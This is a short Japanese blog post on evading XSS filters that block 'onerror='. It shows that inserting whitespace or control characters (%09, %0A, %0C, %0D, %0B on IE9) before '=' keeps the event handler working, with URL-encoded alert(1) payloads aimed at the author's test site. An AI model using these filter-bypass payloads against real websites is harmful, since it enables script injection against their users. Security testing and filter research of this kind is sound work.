戦うイベントハンドラ


今回は簡潔にまとめたい。

XSSの脆弱性が無いかどうか試す上でよく<img src=1 onerror=alert(1);>なんて使う。
XSSの脆弱性があれば当然ブラウザでアラートが出るはずだ。
しかし、もしサイト側で対策をしていて「onerror=」という文字列が使えない場合はどうしたらいいか。
勿論普通に<script>alert(1);</script>ってすればいいし、それが出来ないなら<a href=javascript:alert(1)>xss<a>を使えばいい。(上のような対策をしているサイトがこれですんなり動くかは疑問だが。。。)
ただ今回は「onerror=」で戦いたいのだ。

普通にやっても「onerror=」が使えない以上なんかしらの工夫がいる。
そう思って色々調べてみると「onerror」という文字列と「=」という文字列との間に入れられる文字があることが判明した。
%09,%20,%0A,%0C,%0Dである。

例えばこれは普通に動くし、
http://vuln.moe/web/xss/?q=%3Cimg%20src=1%20onerror%0A=alert%281%29%3E
スクリーンショット 2015-01-12 18.23.12

これだって普通に動く。
http://vuln.moe/web/xss/?q=%3Cimg%20src=1%20onerror%0D=alert%281%29%3E
スクリーンショット 2015-01-12 18.24.59

というか「onerror」と「=」の間に改行が存在しても動くということをさっき初めて知った。(スペースがあってもいいのは以前から何となく知っていたが)

あと%0cも許される。
http://vuln.moe/web/xss/?q=%3Cimg%20src=1%20onerror%0C=alert%281%29%3E
スクリーンショット 2015-01-12 18.28.31

http://vuln.moe/web/xss/eh_test.html
スクリーンショット 2015-01-12 18.35.55

また、IE9の場合%0Bを使うことも可能だ。
http://vuln.moe/web/xss/?q=%3Cimg%20src=1%20onerror%0b=alert%281%29%3E
スクリーンショット 2015-01-12 18.28.09

欲を言えば他にも使える文字が欲しいし「onerror」の「o」の代わりに使える文字も欲しい。(Oとかでなく)

あと「onerror=」でなく「onerror」という文字列があったら検知するとかだった場合、今回の方法は全く使いものにならない。
するとしたら基本どこもそういう対策を取るだろうが・・・。